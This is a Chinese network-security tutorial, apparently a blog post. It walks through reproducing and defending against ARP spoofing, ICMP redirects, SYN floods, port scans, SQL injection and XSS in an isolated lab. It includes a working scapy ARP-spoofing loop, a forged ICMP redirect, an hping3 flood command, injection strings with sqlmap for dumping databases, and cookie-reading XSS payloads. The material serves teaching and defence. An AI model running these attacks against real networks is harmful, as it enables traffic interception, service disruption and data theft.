简介：这份文档面向计算机网络安全初学者与运维人员，系统梳理了网络中常见的安全攻击类型及其防范思路，帮助读者建立从攻击原理到防护措施的整体认知。内容围绕拒绝服务型攻击、弱口令攻击等典型威胁展开，分析其利用的系统与协议漏洞，并给出针对性的主动防护建议，适合课堂教学、自学入门或安全知识复习等场景。资源包共1个docx文件，约10KB，以文字讲解为主，结构紧凑，便于快速通读与重点摘录。目前已有115人学习，说明该主题具备一定的实用参考价值。读者可从中获得常见攻击的分类框架、攻击手法说明以及基础防范策略，为后续深入学习网络安全、排查隐患或撰写相关报告提供一份简明扼要的入门材料。

1. 计算机网络中常见安全攻击与防范技术：从一次内网嗅探告警说起

凌晨两点收到告警，某台业务服务器在十分钟内向同网段几十台机器发起了大量 ARP 应答，运维第一反应是「中毒了」，抓包一看，是有人把一台测试机接进了生产 VLAN，跑了个中间人抓包脚本。这件事让我意识到，很多团队对「计算机网络中常见安全攻击与防范技术」的理解还停留在背八股文的层面——知道 SYN Flood、知道 ARP 欺骗，但真到了自己网段里，既不会判断攻击类型，也不知道该在哪一层做防范。这篇笔记就按「攻击怎么发生 → 怎么复现验证 → 怎么防」的顺序，把常见攻击拆成可动手的步骤，覆盖链路层、网络层、传输层到应用层的典型手法。适合有基本网络基础、想在自己实验环境里把攻击和防范都跑一遍的运维和开发，也适合正在准备计算机网络期末复习、想把八股文变成实操的人。下面所有实验都在隔离的虚拟网段里做，别拿到生产环境试。

2. 链路层与网络层攻击：ARP 欺骗和 ICMP 重定向怎么复现

链路层和网络层是很多攻击的起点，因为它们决定了「包往哪走」。这一层出问题，上层所有加密和认证都可能被绕过，所以先把这两类攻击吃透。

2.1 ARP 欺骗的原理与最小复现环境

ARP 协议本身没有认证机制，主机收到 ARP 应答就更新缓存，不管自己有没有发过请求。攻击者只要持续发送伪造的 ARP 应答，就能把自己伪装成网关，让受害者的流量先经过攻击者。复现需要三台机器：攻击机、受害机、网关，都在同一网段。

先看正常 ARP 缓存：

# 在受害机上查看 ARP 表 arp -a # 输出类似： # gateway (192.168.1.1) at 00:11:22:33:44:55 [ether] on eth0

攻击机用 arpspoof 或自己写脚本发送伪造应答。下面用 Python 加 scapy 写一个最小版本，方便理解字段：

from scapy.all import ARP, send import time # 伪造：告诉受害机 192.168.1.1（网关）的 MAC 是攻击机的 MAC victim_ip = "192.168.1.100" gateway_ip = "192.168.1.1" attacker_mac = "aa:bb:cc:dd:ee:ff" pkt = ARP(op=2, # op=2 表示 ARP 应答 psrc=gateway_ip, # 伪造源 IP 为网关 pdst=victim_ip, # 目标受害机 hwsrc=attacker_mac) # 伪造源 MAC 为攻击机 while True: send(pkt, verbose=False) time.sleep(2) # 每 2 秒发一次，维持缓存污染

逻辑说明：op=2是 ARP reply，psrc填网关 IP，hwsrc填攻击机 MAC，受害机收到后会把网关 IP 映射到攻击机 MAC。参数上time.sleep(2)是维持污染的间隔，太短浪费带宽，太长缓存可能过期。验证方法是在受害机上再执行arp -a，看到网关的 MAC 变成了攻击机的 MAC，就说明欺骗成功。此时受害机访问外网的流量会先到攻击机，如果攻击机开启 IP 转发，流量还能正常出去，受害者几乎无感知。

2.2 ICMP 重定向攻击的触发条件与验证

ICMP 重定向是路由器告诉主机「有更优路径」，主机收到后更新路由表。攻击者伪造 ICMP 重定向报文，就能让受害者把流量发给攻击者。触发条件比较苛刻：主机要允许 ICMP 重定向，且攻击者要和受害者在同一网段。

from scapy.all import IP, ICMP, send # 伪造 ICMP 重定向：告诉受害机去 10.0.0.0/8 的下一跳改成攻击机 victim = "192.168.1.100" gateway = "192.168.1.1" attacker = "192.168.1.50" pkt = IP(src=gateway, dst=victim) / \ ICMP(type=5, code=1, gw=attacker) / \ IP(src=victim, dst="10.0.0.1") # 原始包的前半部分 send(pkt, verbose=False)

type=5是重定向，code=1表示对主机重定向，gw填攻击机地址。验证时在受害机执行ip route get 10.0.0.1，如果下一跳变成攻击机，说明生效。很多现代系统默认关闭 ICMP 重定向，Linux 上可以查sysctl net.ipv4.conf.all.accept_redirects，为 0 则攻击无效。

2.3 防范：动态 ARP 检测与端口隔离怎么配

链路层攻击的防范核心是「不让伪造的 ARP 应答被信任」。常见做法有三种：静态 ARP 绑定、DAI（动态 ARP 检测）、端口隔离。静态绑定适合关键服务器，但维护成本高。DAI 依赖 DHCP Snooping 建立的绑定表，在交换机上配置：

# 以常见企业交换机为例 ip dhcp snooping enable ip dhcp snooping vlan 10 interface GigabitEthernet0/1 ip dhcp snooping trust # 上联口信任 interface GigabitEthernet0/2 ip arp inspection trust # 接服务器的口信任 ip arp inspection limit rate 50 # 限制 ARP 速率

参数说明：trust口不检查，非信任口按绑定表过滤 ARP。rate 50是每秒允许的 ARP 包数，超过就丢弃，防止 ARP 泛洪。端口隔离则让同一 VLAN 内主机不能直接二层通信，适合访客网络。注意 DAI 要和 DHCP Snooping 一起用，静态 IP 的设备需要手动加绑定表，否则会被误杀。

3. 传输层攻击：SYN Flood 与端口扫描的检测和缓解

传输层是连接建立的地方，攻击者要么耗尽连接资源，要么探测开放端口。这一章把 SYN Flood 和端口扫描的复现、检测、缓解讲清楚。

3.1 SYN Flood 的攻击过程和资源消耗点

TCP 三次握手，服务器收到 SYN 后分配资源并回 SYN-ACK，等待客户端 ACK。攻击者只发 SYN 不回 ACK，服务器半连接队列被占满，正常用户连不上。复现用 hping3：

# 向目标 80 端口发起 SYN Flood，伪造随机源 IP hping3 -S -p 80 --flood --rand-source 192.168.1.200

-S是 SYN 标志，--flood尽快发送，--rand-source随机源 IP，让服务器无法通过源 IP 过滤。在目标机上用ss -s看统计：

ss -s # 输出中 "SYN-RECV" 数量暴涨，说明半连接队列被占

参数上，--flood会占满带宽，实验时建议加-i u1000控制间隔。检测方法除了看ss -s，还可以用netstat -ant | grep SYN_RECV | wc -l统计。缓解手段有：开启 SYN Cookies、调大半连接队列、限制单 IP 速率。

# Linux 开启 SYN Cookies sysctl -w net.ipv4.tcp_syncookies=1 # 调大半连接队列 sysctl -w net.ipv4.tcp_max_syn_backlog=4096

SYN Cookies 的原理是不立即分配资源，而是把连接信息编码进 SYN-ACK 的序列号，收到 ACK 再重建。注意开启后某些 TCP 选项会丢失，性能略有影响，但抗攻击效果好。

3.2 端口扫描的几种方式和识别特征

端口扫描是攻击前的信息收集。常见方式：TCP connect 扫描、SYN 扫描、FIN 扫描。用 nmap 演示：

# SYN 扫描，需要 root nmap -sS -p 1-1000 192.168.1.200 # connect 扫描，不需要 root nmap -sT -p 80,443 192.168.1.200 # FIN 扫描，绕过部分防火墙 nmap -sF -p 1-100 192.168.1.200

识别特征：SYN 扫描会产生大量只有 SYN 没有后续 ACK 的连接；connect 扫描会完成三次握手然后立刻断开；FIN 扫描发 FIN 包，关闭端口回 RST，开放端口不回。在目标机上用 tcpdump 抓：

tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0' -c 100

这条命令抓只带 SYN 不带 ACK 的包，短时间内大量出现就是扫描。防范上，可以用 iptables 限制新建连接速率：

iptables -A INPUT -p tcp --syn -m limit --limit 10/s --limit-burst 20 -j ACCEPT iptables -A INPUT -p tcp --syn -j DROP

--limit 10/s是每秒 10 个新建连接，--limit-burst 20是突发允许 20 个。注意这会影响正常用户，建议按业务调整，或者用 fail2ban 动态封禁。

3.3 用 iptables 和 fail2ban 做传输层缓解

iptables 适合做静态规则，fail2ban 适合动态封禁。fail2ban 通过分析日志，发现多次失败就加 iptables 规则。配置一个针对 SSH 的 jail：

# /etc/fail2ban/jail.local [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 5 bantime = 3600 findtime = 600

参数说明：maxretry=5是 5 次失败，findtime=600是 10 分钟内，bantime=3600封禁 1 小时。fail2ban 会自动调用 iptables 加规则。验证用fail2ban-client status sshd看封禁列表。注意日志路径因发行版不同，CentOS 是/var/log/secure。这套组合对暴力破解和扫描都有效，但别把maxretry设太小，否则容易误封自己。

4. 应用层攻击：SQL 注入和 XSS 的复现与防御

应用层攻击直接针对业务逻辑，防火墙很难完全挡住。这一章用 DVWA 环境复现 SQL 注入和 XSS，再讲代码层防御。

4.1 SQL 注入的复现环境和手工验证

DVWA 是一个故意有漏洞的 Web 应用，适合本地练习。用 Docker 起：

docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

访问http://localhost:8080，默认账号 admin/password，把安全级别调到 low。SQL 注入点在「SQL Injection」页面，输入1' OR '1'='1，如果返回所有用户，说明存在注入。手工验证步骤：

# 先试正常输入 curl "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" # 再试注入 curl "http://localhost:8080/vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit"

原理是后端拼接 SQL：SELECT * FROM users WHERE id = '$id'，输入1' OR '1'='1后变成WHERE id = '1' OR '1'='1'，条件恒真。参数上注意 URL 编码，'要编码成%27。检测方法除了手工，还可以用 sqlmap：

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low" --batch

--cookie带上会话，--batch自动确认。sqlmap 会识别注入类型并尝试拖库。注意只在授权环境用。

4.2 XSS 的三种类型和利用方式

XSS 分反射型、存储型、DOM 型。DVWA 的 XSS 页面可以复现反射型和存储型。反射型输入<script>alert(1)</script>，立即弹窗。存储型输入同样内容，会存进数据库，每次访问都弹。DOM 型在 URL 的 fragment 里，比如#<img src=x onerror=alert(1)>。

<!-- 反射型测试 payload --> <script>alert(document.cookie)</script> <!-- 存储型测试 payload --> <img src=x onerror=alert(1)>

防御上，输出编码是关键。PHP 用htmlspecialchars($input, ENT_QUOTES, 'UTF-8')，把<>"'转义。前端用textContent而不是innerHTML。CSP（内容安全策略）也能缓解：

# Nginx 加 CSP 头 add_header Content-Security-Policy "default-src 'self'; script-src 'self'";

default-src 'self'限制只加载同源资源，script-src 'self'禁止内联脚本。注意 CSP 要配合后端编码，不能只靠它。

4.3 参数化查询和输出编码的落地写法

参数化查询是防 SQL 注入的根本。以 Python 的 sqlite3 为例：

import sqlite3 conn = sqlite3.connect('test.db') cursor = conn.cursor() # 错误写法：字符串拼接 # cursor.execute("SELECT * FROM users WHERE id = '%s'" % user_id) # 正确写法：参数化 cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

?是占位符，驱动会把参数当数据而不是 SQL 代码。Java 用PreparedStatement，PHP 用 PDO 的prepare和execute。输出编码方面，Java 用StringEscapeUtils.escapeHtml4，Python 用html.escape。注意参数化查询不能用于表名和列名，那些地方要用白名单校验。落地时建议在框架层统一处理，比如 Django 的 ORM 默认参数化，但raw()和extra()要小心。

5. 避坑与排查：实验和防范中容易翻车的五个点

这一章记录我在实验和实际防范中踩过的坑，每条按现象、原因、解决写。

坑一：ARP 欺骗实验后受害机断网。现象是受害机 ping 不通网关。原因是攻击机没开 IP 转发，流量到了攻击机就断了。解决：攻击机执行sysctl -w net.ipv4.ip_forward=1，或者实验结束手动恢复受害机 ARP 缓存arp -d 192.168.1.1。

坑二：SYN Cookies 开了但攻击仍然有效。现象是ss -s里 SYN-RECV 还是很多。原因是队列参数没调，或者攻击带宽太大。解决：同时调tcp_max_syn_backlog和somaxconn，并确认tcp_syncookies真的生效sysctl net.ipv4.tcp_syncookies。

坑三：iptables 限速规则把正常用户挡了。现象是网站偶尔打不开。原因是--limit 10/s太小，正常用户并发就超了。解决：按业务峰值调整，或者只对特定端口限速，用--limit-burst给突发余量。

坑四：fail2ban 封了自己的 IP。现象是 SSH 连不上。原因是测试时多次输错密码，被自己封了。解决：登录控制台fail2ban-client set sshd unbanip <你的IP>，或者把办公网段加白名单ignoreip。

坑五：DVWA 环境暴露到公网。现象是服务器被扫描。原因是 Docker 端口映射到 0.0.0.0。解决：只映射到 127.0.0.1-p 127.0.0.1:8080:80，或者用完后docker stop。实验环境一定要隔离。

6. 把攻击链串起来：一次完整的内网渗透验证与防御检查

前面分开讲了各层攻击，实际攻击往往是组合的。这一章用一个完整流程把链路层、传输层、应用层串起来，并给出防御检查清单。

假设攻击者进入内网，第一步 ARP 欺骗拿到中间人位置，第二步扫描发现 Web 服务器，第三步 SQL 注入拿数据。验证流程：

# 1. ARP 欺骗（攻击机） python3 arp_spoof.py # 2. 扫描受害网段（攻击机） nmap -sS -p 80,443,3306 192.168.1.0/24 -oG scan.txt # 3. 对发现的 Web 服务做注入检测 sqlmap -u "http://192.168.1.200/login.php?id=1" --batch --dbs

防御检查清单用表格：

验证防御效果时，重复攻击步骤，看是否被拦截。比如开了 DAI 后，ARP 欺骗应该失效，受害机 ARP 表不变。开了 SYN Cookies 后，ss -s的 SYN-RECV 不会暴涨。参数化查询后，sqlmap 应该报「not injectable」。

我自己的习惯是每季度做一次这样的内网自查，用攻击视角找防御缺口。有次自查发现一台老服务器的 ICMP 重定向没关，虽然没被利用，但补上后心里踏实。安全这件事，攻击手法在变，但分层防御的思路不变。希望帮到你。

本文还有配套的精品资源，点击获取